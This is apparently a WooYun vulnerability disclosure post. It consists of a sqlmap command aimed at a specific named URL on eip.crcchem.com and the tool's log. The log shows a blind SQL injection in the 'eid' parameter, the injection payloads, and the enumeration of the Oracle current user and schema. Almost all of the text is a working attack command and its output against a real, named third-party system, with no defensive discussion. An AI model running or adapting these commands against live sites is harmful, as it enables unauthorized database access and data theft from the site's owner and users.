WooYun.org

http://eip.crcchem.com/page/element/news/more.jsp?eid=4721

python.exe sqlmap\sqlmap.py -u "http://eip.crcchem.com/page/element/news/more.jsp?eid=4721" -v 3 --random
-agent --dbs --current-user --no-cast --thread 10

sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: eid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: eid=4721 AND 5245=5245
    Vector: AND [INFERENCE]
---
[10:35:14] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[10:35:14] [INFO] fetching current user
[10:35:14] [INFO] retrieving the length of query output
[10:35:14] [INFO] resumed: 7
[10:35:14] [DEBUG] performed 0 queries in 0.00 seconds
[10:35:14] [INFO] resumed: ECOLOGY
[10:35:14] [DEBUG] performed 0 queries in 0.00 seconds
current user:    'ECOLOGY'
[10:35:14] [WARNING] schema names are going to be used on Oracle for enumeratio
 as the counterpart to database names on other DBMSes
[10:35:14] [INFO] fetching database (schema) names
[10:35:14] [INFO] fetching number of databases
[10:35:14] [PAYLOAD] 4721 AND ASCII(SUBSTRC((SELECT COUNT(DISTINCT(OWNER)) FROM
SYS.ALL_TABLES),1,1))>51
[10:35:14] [DEBUG] declared web page charset 'utf-8'
[10:35:14] [PAYLOAD] 4721 AND ASCII(SUBSTRC((SELECT COUNT(DISTINCT(OWNER)) FROM
SYS.ALL_TABLES),1,1))>48
[10:35:14] [PAYLOAD] 4721 AND ASCII(SUBSTRC((SELECT COUNT(DISTINCT(OWNER)) FROM
SYS.ALL_TABLES),1,1))>1
[10:35:15] [INFO] retrieved:
[10:35:15] [DEBUG] performed 3 queries in 0.98 seconds
[10:35:15] [WARNING] in case of continuous data retrieval problems you are advi
ed to try a switch '--no-cast' or switch '--hex'
[10:35:15] [ERROR] unable to retrieve the number of databases
[10:35:15] [INFO] falling back to current database
[10:35:15] [INFO] fetching current database
[10:35:15] [INFO] retrieving the length of query output
[10:35:15] [INFO] resumed: 7
[10:35:15] [DEBUG] performed 0 queries in 0.00 seconds
[10:35:15] [INFO] resumed: ECOLOGY
[10:35:15] [DEBUG] performed 0 queries in 0.02 seconds
[10:35:15] [WARNING] on Oracle you'll need to use schema names for enumeration
s the counterpart to database names on other DBMSes
available databases [1]:
[*] ECOLOGY